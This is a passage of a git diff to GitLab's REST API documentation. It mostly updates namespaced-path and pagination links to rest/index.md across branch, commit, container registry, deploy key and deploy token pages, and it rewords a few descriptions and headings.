Attribute | Type | Required | Description | |:----------|:---------------|:---------|:------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user.| +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user.| | `search` | string | no | Return list of branches containing the search string. You can use `^term` and `term$` to find branches that begin and end with `term` respectively. | +| `regex` | string | no | Return list of branches with names matching a [re2](https://github.com/google/re2/wiki/Syntax) regular expression. | Example request: @@ -83,8 +84,8 @@ Parameters: | Attribute | Type | Required | Description | |:----------|:---------------|:---------|:-------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | -| `branch` | string | yes | [URL-encoded name](index.md#namespaced-path-encoding) of the branch. | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | +| `branch` | string | yes | [URL-encoded name](rest/index.md#namespaced-path-encoding) of the branch. | Example request: @@ -144,7 +145,7 @@ Parameters: | Attribute | Type | Required | Description | |:----------|:--------|:---------|:-------------------------------------------------------------------------------------------------------------| -| `id` | integer | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `branch` | string | yes | Name of the branch. | | `ref` | string | yes | Branch name or commit SHA to create branch from. | @@ -199,7 +200,7 @@ Parameters: | Attribute | Type | Required | Description | |:----------|:---------------|:---------|:-------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `branch` | string | yes | Name of the branch. | Example request: @@ -223,7 +224,7 @@ Parameters: | Attribute | Type | Required | Description | |:----------|:---------------|:---------|:-------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | Example request: diff --git a/doc/api/bulk_imports.md b/doc/api/bulk_imports.md index a438bc13818..6a33bd1bc95 100644 --- a/doc/api/bulk_imports.md +++ b/doc/api/bulk_imports.md @@ -4,14 +4,14 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# GitLab Migrations (Bulk Imports) API **(FREE)** +# Group migration by direct transfer API **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64335) in GitLab 14.1. -With the GitLab Migrations API, you can view the progress of migrations initiated with -[GitLab Group Migration](../user/group/import/index.md). +With the group migration by direct transfer API, you can start and view the progress of migrations initiated with +[group migration by direct transfer](../user/group/import/index.md#migrate-groups-by-direct-transfer-recommended). -## Start a new GitLab migration +## Start a new group migration > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66353) in GitLab 14.2. @@ -54,7 +54,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla { "id": 1, "status": "created", "source_type": "gitlab", "created_at": "2021-06-18T09:45:55.358Z", "updated_at": "2021-06-18T09:46:27.003Z" } ``` -## List all GitLab migrations +## List all group migrations ```plaintext GET /bulk_imports @@ -97,7 +97,7 @@ curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab ] ``` -## List all GitLab migrations' entities +## List all group migrations' entities ```plaintext GET /bulk_imports/entities @@ -165,7 +165,7 @@ curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab ] ``` -## Get GitLab migration details +## Get group migration details ```plaintext GET /bulk_imports/:id @@ -185,7 +185,7 @@ curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab } ``` -## List GitLab migration entities +## List group migration entities ```plaintext GET /bulk_imports/:id/entities @@ -221,7 +221,7 @@ curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab ] ``` -## Get GitLab migration entity details +## Get group migration entity details ```plaintext GET /bulk_imports/:id/entities/:entity_id diff --git a/doc/api/cluster_agents.md b/doc/api/cluster_agents.md index 718871884fb..2622d6782aa 100644 --- a/doc/api/cluster_agents.md +++ b/doc/api/cluster_agents.md @@ -25,7 +25,7 @@ Parameters: | Attribute | Type | Required | Description | |-----------|-------------------|-----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) maintained by the authenticated user | +| `id` | integer or string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) maintained by the authenticated user | Response: @@ -103,7 +103,7 @@ Parameters: | Attribute | Type | Required | Description | |------------|-------------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) maintained by the authenticated user | +| `id` | integer or string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) maintained by the authenticated user | | `agent_id` | integer | yes | ID of the agent | Response: @@ -165,7 +165,7 @@ Parameters: | Attribute | Type | Required | Description | |-----------|-------------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) maintained by the authenticated user | +| `id` | integer or string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) maintained by the authenticated user | | `name` | string | yes | Name for the agent | Response: @@ -229,7 +229,7 @@ Parameters: | Attribute | Type | Required | Description | |------------|-------------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) maintained by the authenticated user | +| `id` | integer or string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) maintained by the authenticated user | | `agent_id` | integer | yes | ID of the agent | Example request: @@ -254,7 +254,7 @@ Supported attributes: | Attribute | Type | Required | Description | |------------|-------------------|-----------|------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) maintained by the authenticated user. | +| `id` | integer or string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) maintained by the authenticated user. | | `agent_id` | integer or string | yes | ID of the agent. | Response: @@ -321,7 +321,7 @@ Supported attributes: | Attribute | Type | Required | Description | |------------|-------------------|----------|-------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) maintained by the authenticated user. | +| `id` | integer or string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) maintained by the authenticated user. | | `agent_id` | integer | yes | ID of the agent. | | `token_id` | integer | yes | ID of the token. | @@ -377,7 +377,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------|-------------------|----------|------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) maintained by the authenticated user. | +| `id` | integer or string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) maintained by the authenticated user. | | `agent_id` | integer | yes | ID of the agent. | | `name` | string | yes | Name for the token. | | `description` | string | no | Description for the token. | @@ -441,7 +441,7 @@ Supported attributes: | Attribute | Type | Required | Description | |------------|-------------------|----------|---------------------------------------------------------------------------------------------------------------- -| -| `id` | integer or string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) maintained by the authenticated user. | +| `id` | integer or string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) maintained by the authenticated user. | | `agent_id` | integer | yes | ID of the agent. | | `token_id` | integer | yes | ID of the token. | diff --git a/doc/api/commits.md b/doc/api/commits.md index 83fa54231ee..5a3481ee086 100644 --- a/doc/api/commits.md +++ b/doc/api/commits.md @@ -10,9 +10,13 @@ This API operates on [repository commits](https://git-scm.com/book/en/v2/Git-Bas ## Responses -In commit responses, `created_at` and `committed_date` are identical. -However, `committed_date` and `authored_date` are generated from different sources, -and may not be identical. +Some date fields in responses from this API are, or can appear to be, duplicated +information: + +- The `created_at` field exists solely for consistency with other GitLab APIs. It + is always identical to the `committed_date` field. +- The `committed_date` and `authored_date` fields are generated from different sources, + and may not be identical. ## List repository commits @@ -24,7 +28,7 @@ GET /projects/:id/repository/commits | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | `ref_name` | string | no | The name of a repository branch, tag or revision range, or if not given the default branch | | `since` | string | no | Only commits after or on this date are returned in ISO 8601 format `YYYY-MM-DDTHH:MM:SSZ` | | `until` | string | no | Only commits before or on this date are returned in ISO 8601 format `YYYY-MM-DDTHH:MM:SSZ` | @@ -88,12 +92,12 @@ POST /projects/:id/repository/commits | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `branch` | string | yes | Name of the branch to commit into. To create a new branch, also provide either `start_branch` or `start_sha`, and optionally `start_project`. | | `commit_message` | string | yes | Commit message | | `start_branch` | string | no | Name of the branch to start the new branch from | | `start_sha` | string | no | SHA of the commit to start the new branch from | -| `start_project` | integer/string | no | The project ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) to start the new branch from. Defaults to the value of `id`. | +| `start_project` | integer/string | no | The project ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) to start the new branch from. Defaults to the value of `id`. | | `actions[]` | array | yes | An array of action hashes to commit as a batch. See the next table for what attributes it can take. | | `author_email` | string | no | Specify the commit author's email address | | `author_name` | string | no | Specify the commit author's name | @@ -177,7 +181,7 @@ Example response: } ``` -GitLab supports [form encoding](index.md#encoding-api-parameters-of-array-and-hash-types). The following is an example using Commit API with form encoding: +GitLab supports [form encoding](rest/index.md#encoding-api-parameters-of-array-and-hash-types). The following is an example using Commit API with form encoding: ```shell curl --request POST \ @@ -215,7 +219,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | `sha` | string | yes | The commit hash or name of a repository branch or tag | | `stats` | boolean | no | Include commit stats. Default is true | @@ -270,7 +274,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | `sha` | string | yes | The commit hash | | `type` | string | no | The scope of commits. Possible values `branch`, `tag`, `all`. Default is `all`. | @@ -302,7 +306,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `sha` | string | yes | The commit hash | | `branch` | string | yes | The name of the branch | | `dry_run` | boolean | no | Does not commit any changes. Default is false. [Introduced in GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/231032) | @@ -375,7 +379,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `sha` | string | yes | Commit SHA to revert | | `branch` | string | yes | Target branch name | | `dry_run` | boolean | no | Does not commit any changes. Default is false. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/231032) in GitLab 13.3 | @@ -443,7 +447,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | `sha` | string | yes | The commit hash or name of a repository branch or tag | ```shell @@ -479,7 +483,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | `sha` | string | yes | The commit hash or name of a repository branch or tag | ```shell @@ -527,7 +531,7 @@ POST /projects/:id/repository/commits/:sha/comments | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | `sha` | string | yes | The commit SHA or name of a repository branch or tag | | `note` | string | yes | The text of the comment | | `path` | string | no | The file path relative to the repository | @@ -572,7 +576,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | `sha` | string | yes | The commit hash or name of a repository branch or tag | ```shell @@ -631,7 +635,7 @@ GET /projects/:id/repository/commits/:sha/statuses | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | `sha` | string | yes | The commit SHA | `ref` | string | no | The name of a repository branch or tag or, if not given, the default branch | `stage` | string | no | Filter by [build stage](../ci/yaml/index.md#stages), for example, `test` @@ -706,7 +710,7 @@ POST /projects/:id/statuses/:sha | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | `sha` | string | yes | The commit SHA | `state` | string | yes | The state of the status. Can be one of the following: `pending`, `running`, `success`, `failed`, `canceled` | `ref` | string | no | The `ref` (branch or tag) to which the status refers @@ -749,7 +753,7 @@ Example response: ## List merge requests associated with a commit -Get a list of merge requests related to the specified commit. +Returns information about the merge request that originally introduced a specific commit. ```plaintext GET /projects/:id/repository/commits/:sha/merge_requests @@ -757,7 +761,7 @@ GET /projects/:id/repository/commits/:sha/merge_requests | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | `sha` | string | yes | The commit SHA ```shell @@ -829,7 +833,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | `sha` | string | yes | The commit hash or name of a repository branch or tag | ```shell diff --git a/doc/api/container_registry.md b/doc/api/container_registry.md index b94bee210e4..5fc4cb138a1 100644 --- a/doc/api/container_registry.md +++ b/doc/api/container_registry.md @@ -12,7 +12,7 @@ This is the API documentation of the [GitLab Container Registry](../user/package When the `ci_job_token_scope` feature flag is enabled (it is **disabled by default**), you can use the below endpoints from a CI/CD job, by passing the `$CI_JOB_TOKEN` variable as the `JOB-TOKEN` header. -The job token will only have access to its own project. +The job token only has access to its own project. [GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) can opt to enable it. @@ -41,7 +41,7 @@ PUT /projects/:id/ | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) accessible by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) accessible by the authenticated user. | | `container_registry_access_level` | string | no | The desired visibility of the Container Registry. One of `enabled` (default), `private`, or `disabled`. | Descriptions of the possible values for `container_registry_access_level`: @@ -83,7 +83,7 @@ Example response: ## Container Registry pagination By default, `GET` requests return 20 results at a time because the API results -are [paginated](index.md#pagination). +are [paginated](rest/index.md#pagination). ## List registry repositories @@ -97,7 +97,7 @@ GET /projects/:id/registry/repositories | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) accessible by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) accessible by the authenticated user. | | `tags` | boolean | no | If the parameter is included as true, each repository includes an array of `"tags"` in the response. | | `tags_count` | boolean | no | If the parameter is included as true, each repository includes `"tags_count"` in the response ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/32141) in GitLab 13.1). | @@ -142,7 +142,7 @@ GET /groups/:id/registry/repositories | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) accessible by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) accessible by the authenticated user. | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" \ @@ -231,7 +231,7 @@ DELETE /projects/:id/registry/repositories/:repository_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `repository_id` | integer | yes | The ID of registry repository. | ```shell @@ -251,7 +251,7 @@ GET /projects/:id/registry/repositories/:repository_id/tags | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) accessible by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) accessible by the authenticated user. | | `repository_id` | integer | yes | The ID of registry repository. | ```shell @@ -286,7 +286,7 @@ GET /projects/:id/registry/repositories/:repository_id/tags/:tag_name | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) accessible by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) accessible by the authenticated user. | | `repository_id` | integer | yes | The ID of registry repository. | | `tag_name` | string | yes | The name of tag. | @@ -320,7 +320,7 @@ DELETE /projects/:id/registry/repositories/:repository_id/tags/:tag_name | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `repository_id` | integer | yes | The ID of registry repository. | | `tag_name` | string | yes | The name of tag. | @@ -345,7 +345,7 @@ DELETE /projects/:id/registry/repositories/:repository_id/tags | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `repository_id` | integer | yes | The ID of registry repository. | | `name_regex` | string | no | The [re2](https://github.com/google/re2/wiki/Syntax) regex of the name to delete. To delete all tags specify `.*`. **Note:** `name_regex` is deprecated in favor of `name_regex_delete`. This field is validated. | | `name_regex_delete` | string | yes | The [re2](https://github.com/google/re2/wiki/Syntax) regex of the name to delete. To delete all tags specify `.*`. This field is validated. | @@ -375,7 +375,7 @@ WARNING: The number of tags deleted by this API is limited on GitLab.com because of the scale of the Container Registry there. If your Container Registry has a large number of tags to delete, -only some of them will be deleted, and you might need to call this API multiple times. +only some of them are deleted, and you might need to call this API multiple times. To schedule tags for automatic deletion, use a [cleanup policy](../user/packages/container_registry/reduce_container_registry_storage.md#cleanup-policy) instead. Examples: diff --git a/doc/api/dependencies.md b/doc/api/dependencies.md index dce928046bc..b99d9e2d91d 100644 --- a/doc/api/dependencies.md +++ b/doc/api/dependencies.md @@ -33,7 +33,7 @@ GET /projects/:id/dependencies?package_manager=yarn,bundler | Attribute | Type | Required | Description | | ------------- | -------------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `package_manager` | string array | no | Returns dependencies belonging to specified package manager. Valid values: `bundler`, `composer`, `conan`, `go`, `gradle`, `maven`, `npm`, `nuget`, `pip`, `pipenv`, `yarn`, `sbt`, or `setuptools`. | ```shell @@ -85,4 +85,4 @@ Example response: By default, `GET` requests return 20 results at a time because the API results are paginated. -Read more on [pagination](index.md#pagination). +Read more on [pagination](rest/index.md#pagination). diff --git a/doc/api/dependency_proxy.md b/doc/api/dependency_proxy.md index b7eade83bb8..53b4b0db0d7 100644 --- a/doc/api/dependency_proxy.md +++ b/doc/api/dependency_proxy.md @@ -20,7 +20,7 @@ DELETE /groups/:id/dependency_proxy/cache | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | Example request: diff --git a/doc/api/deploy_keys.md b/doc/api/deploy_keys.md index bc5852db457..684df9fdfdc 100644 --- a/doc/api/deploy_keys.md +++ b/doc/api/deploy_keys.md @@ -86,7 +86,7 @@ GET /projects/:id/deploy_keys | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/deploy_keys" @@ -188,7 +188,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key_id` | integer | yes | The ID of the deploy key | ```shell @@ -222,7 +222,7 @@ POST /projects/:id/deploy_keys | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `title` | string | yes | New deploy key's title | | `key` | string | yes | New deploy key | | `can_push` | boolean | no | Can deploy key push to the project's repository | @@ -255,7 +255,7 @@ PUT /projects/:id/deploy_keys/:key_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `title` | string | no | New deploy key's title | | `can_push` | boolean | no | Can deploy key push to the project's repository | @@ -286,7 +286,7 @@ DELETE /projects/:id/deploy_keys/:key_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key_id` | integer | yes | The ID of the deploy key | ```shell @@ -303,7 +303,7 @@ POST /projects/:id/deploy_keys/:key_id/enable | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key_id` | integer | yes | The ID of the deploy key | ```shell diff --git a/doc/api/deploy_tokens.md b/doc/api/deploy_tokens.md index dff3ef05bb0..2cfb58c25e1 100644 --- a/doc/api/deploy_tokens.md +++ b/doc/api/deploy_tokens.md @@ -66,7 +66,7 @@ Parameters: | Attribute | Type | Required | Description | |:---------------|:---------------|:-----------------------|:------------| -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `active` | boolean | **{dotted-circle}** No | Limit by active status. | Example request: @@ -108,7 +108,7 @@ Parameters: | Attribute | Type | Required | Description | | ---------- | -------------- | ---------------------- | ----------- | -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `token_id` | integer | **{check-circle}** Yes | ID of the deploy token | Example request: @@ -148,7 +148,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------ | ---------------- | ---------------------- | ----------- | -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | **{check-circle}** Yes | New deploy token's name | | `expires_at` | datetime | **{dotted-circle}** No | Expiration date for the deploy token. Does not expire if no value is provided. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) | | `username` | string | **{dotted-circle}** No | Username for deploy token. Default is `gitlab+deploy-token-{n}` | @@ -193,7 +193,7 @@ Parameters: | Attribute | Type | Required | Description | | ---------- | -------------- | ---------------------- | ----------- | -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `token_id` | integer | **{check-circle}** Yes | ID of the deploy token | Example request: @@ -222,7 +222,7 @@ Parameters: | Attribute | Type | Required | Description | |:---------------|:---------------|:-----------------------|:------------| -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding). | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding). | | `active` | boolean | **{dotted-circle}** No | Limit by active status. | Example request: @@ -264,7 +264,7 @@ Parameters: | Attribute | Type | Required | Description | | ----------- | -------------- | ---------------------- | ----------- | -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `token_id` | integer | **{check-circle}** Yes | ID of the deploy token | Example request: @@ -304,7 +304,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------ | ---- | --------- | ----------- | -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | **{check-circle}** Yes | New deploy token's name | | `expires_at` | datetime | **{dotted-circle}** No | Expiration date for the deploy token. Does not expire if no value is provided. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) | | `username` | string | **{dotted-circle}** No | Username for deploy token. Default is `gitlab+deploy-token-{n}` | @@ -349,7 +349,7 @@ Parameters: | Attribute | Type | Required | Description | | ----------- | -------------- | ---------------------- | ----------- | -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `token_id` | integer | **{check-circle}** Yes | ID of the deploy token | Example request: diff --git a/doc/api/deployments.md b/doc/api/deployments.md index 